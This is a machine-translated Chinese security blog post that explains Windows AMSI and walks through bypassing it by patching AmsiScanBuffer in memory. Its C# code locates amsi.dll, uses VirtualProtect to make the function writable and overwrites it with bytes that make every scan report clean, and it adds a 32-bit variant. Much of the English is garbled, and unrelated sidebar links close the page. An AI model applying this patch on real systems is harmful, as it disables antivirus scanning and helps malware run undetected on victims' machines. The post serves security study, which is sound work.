当前位置:网站首页>Memory patch amsi bypass
Memory patch amsi bypass
2022-06-23 20:43:00 【Khan security team】
What is? AMSI?
back Malware scanning interface It's a group. Windows API, Allow any application to integrate with anti-virus products ( Suppose the product acts as AMSI Provider ). With many third parties AV The solution is the same ,Windows Defender Act naturally as AMSI provider .
In short ,AMSI Act as an application and AV The bridge between engines . With PowerShell For example —— When the user tries to execute any code ,PowerShell It will be submitted to before execution AMSI. If AV The engine thinks its content is malicious ,AMSI This content will be reported and PowerShell The code will not run . For script based malware that runs in memory and never touches disk , This is a good solution .
Any application developer can use AMSI Scan user supplied input .
amsi.dll
To AMSI Applications that submit samples , It must amsi.dll Load into its address space and call from the DLL A series of exported AMSI API. We can use APIMonitor And so on To hook PowerShell And monitor what it calls API. According to the order , These are usually :
- AmsiInitialize – initialization AMSI API.
- AmsiOpenSession – Used to associate multiple scan requests .
- AmsiScanBuffer – Scan user input .
- AmsiCloseSession – Close session .
- AmsiUninitialize – Delete AMSI API example .
We can use some convenient P/Invoke stay C# Copy it in .
using System;
using System.Runtime.InteropServices;
namespace ConsoleApp
{
class Program
{
static void Main(string[] args)
{
}
[DllImport("amsi.dll")]
static extern uint AmsiInitialize(string appName, out IntPtr amsiContext);
[DllImport("amsi.dll")]
static extern IntPtr AmsiOpenSession(IntPtr amsiContext, out IntPtr amsiSession);
[DllImport("amsi.dll")]
static extern uint AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, string contentName, IntPtr session, out AMSI_RESULT result);
enum AMSI_RESULT
{
AMSI_RESULT_CLEAN = 0,
AMSI_RESULT_NOT_DETECTED = 1,
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384,
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479,
AMSI_RESULT_DETECTED = 32768
}
}
}All we have to do is initialize AMSI, Open a new session and send a sample to it .
// Initialise AMSI and open a session
AmsiInitialize("TestApp", out IntPtr amsiContext);
AmsiOpenSession(amsiContext, out IntPtr amsiSession);
// Read Rubeus
var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
// Scan Rubeus
AmsiScanBuffer(amsiContext, rubeus, (uint)rubeus.Length, "Rubeus", amsiSession, out AMSI_RESULT amsiResult);
// Print result
Console.WriteLine(amsiResult);This gives us the result AMSI_RESULT_DETECTED.
Memory patching
Process Hacker And other tools will display amsi.dll It is AMSI Load into the process after initialization . To overwrite a function in memory , for example AmsiScanBuffer, We need to get its location in memory .
We can start by using .NET System.Diagnostics Class search amsi.dll The base address , And then call GetProcAddress API To achieve this .
var modules = Process.GetCurrentProcess().Modules;
var hAmsi = IntPtr.Zero;
foreach (ProcessModule module in modules)
{
if (module.ModuleName == "amsi.dll")
{
hAmsi = module.BaseAddress;
break;
}
}
var asb = GetProcAddress(hAmsi, "AmsiScanBuffer");As far as I'm concerned , AmsiScanBuffer be located 0x00007ffe26aa35e0. By viewing and amsi.dll Associated memory address , You can confirm that it is located in the main... Of the module RX In the area .
To override instructions in this area , We need to use VirtualProtect Make it writable .
var garbage = Encoding.UTF8.GetBytes("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
// Set region to RWX
VirtualProtect(asb, (UIntPtr)garbage.Length, 0x40, out uint oldProtect);
// Copy garbage bytes
Marshal.Copy(garbage, 0, asb, garbage.Length);
// Retore region to RX
VirtualProtect(asb, (UIntPtr)garbage.Length, oldProtect, out uint _);then , You will see a lot of... In this memory area A, And allow applications to call AmsiScanBuffer Will cause the process to crash ( Because obviously A Not a valid instruction ).
We can put countless instructions here . The general idea is to change behavior to prevent AmsiScanBuffer Returns a positive result .
Use IDA Wait for tool analysis DLL Can provide some ideas .
AmsiScanBuffer One thing to do is to check the parameters provided to it . If it finds an invalid parameter , It branches to loc_1800036B5. ad locum , It will 0x80070057 Move to eax in , Bypass the branch that is actually scanned and returned .
80070057 It's a HRESULT Return code by E_INVALIDARG.
We can cover AmsiScanBuffer To replicate this behavior :
mov eax, 0x80070057 ret
defuse.ca There is a useful tool for converting assemblies to hexadecimal and byte arrays .
instead of var The garbage :
var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };This will lead to AmsiScanBuffer The return code of is E_INVALIDARG, But the actual scanning result is 0 - Usually interpreted as AMSI_RESULT_CLEAN.
It seems that no application actually checks whether the return code is not S_OK, And as long as the scanning result itself is not equal to or greater than 32768 Will continue to load the content —— It must be PowerShell and .NET The case of .
The above applies to 64 position , but 32 The assembly required for the bit is slightly different due to the way data is returned on the stack .
mov eax, 0x80070057 ret 0x18
边栏推荐
- OHOS LTS 3.0移植到RaspberryPi 4B
- [sap-hcm] report jump to pa30/pa40 instance
- Advantages of short video automatic audit? What are the difficulties of manual audit?
- Implementing MySQL fuzzy search with node and express
- How to build a personal cloud game server? How many games can the cloud game platform install?
- 35歲危機?內卷成程序員代名詞了…
- 【Golang】快速复习指南QuickReview(六)——struct
- 手续费佣金低的券商,华泰证券网上开户安全吗
- ZABBIX monitoring - Aruba AP operation data
- Is it safe for Huatai Securities to open an account online for securities companies with low handling fees and commissions
猜你喜欢

The evolution of the "Rainbow Bridge" middleware platform for the acquisition database based on shardingsphere

Daily question brushing record (II)

Ugeek's theory 𞓜 application and design of observable hyperfusion storage system

After the collapse of UST, will the stable currency market pattern usher in new opportunities?

Implementation of microblog system based on SSM

UGeek大咖说 | 可观测之超融合存储系统的应用与设计

LeetCode 260. Number III that appears only once

35歲危機?內卷成程序員代名詞了…

Crise de 35 ans? Le volume intérieur est devenu synonyme de programmeur...

「开源摘星计划」Containerd拉取Harbor中的私有镜像,云原生进阶必备技能
随机推荐
Is Guoyuan futures trading software formal? How to download safely?
FPGA based electromagnetic ultrasonic pulse compression detection system paper + source file
Applet development framework recommendation
[golang] type conversion summary
How do I view the server when I log in to the fortress machine? Operation guide for novice
Configure two databases in master-slave database mode (master and slave)
How to separate image processing? What should I pay attention to when separating layers?
OHOS LTS 3.0移植到RaspberryPi 4B
【Golang】快速复习指南QuickReview(七)——interface
Excel text function
What is the role of computer auto audit audio? What content failed to pass the audit?
How to make a material identification sheet
国内期货开户怎么开?哪家期货公司开户更安全?
Leaders of Hangcheng street, Bao'an District and their delegation visited lianchengfa for investigation
【Golang】怎样优雅的清空切片
券商选哪个比较好尼?本人小白不懂,在线开户安全么?
What is the main content of short video audit? What is illegal?
[golang] follow the object pool sync Pool
重庆 奉节耀奎塔,建成后当地连中五名进士,是川江航运的安全塔
SQL联合查询(内联、左联、右联、全联)的语法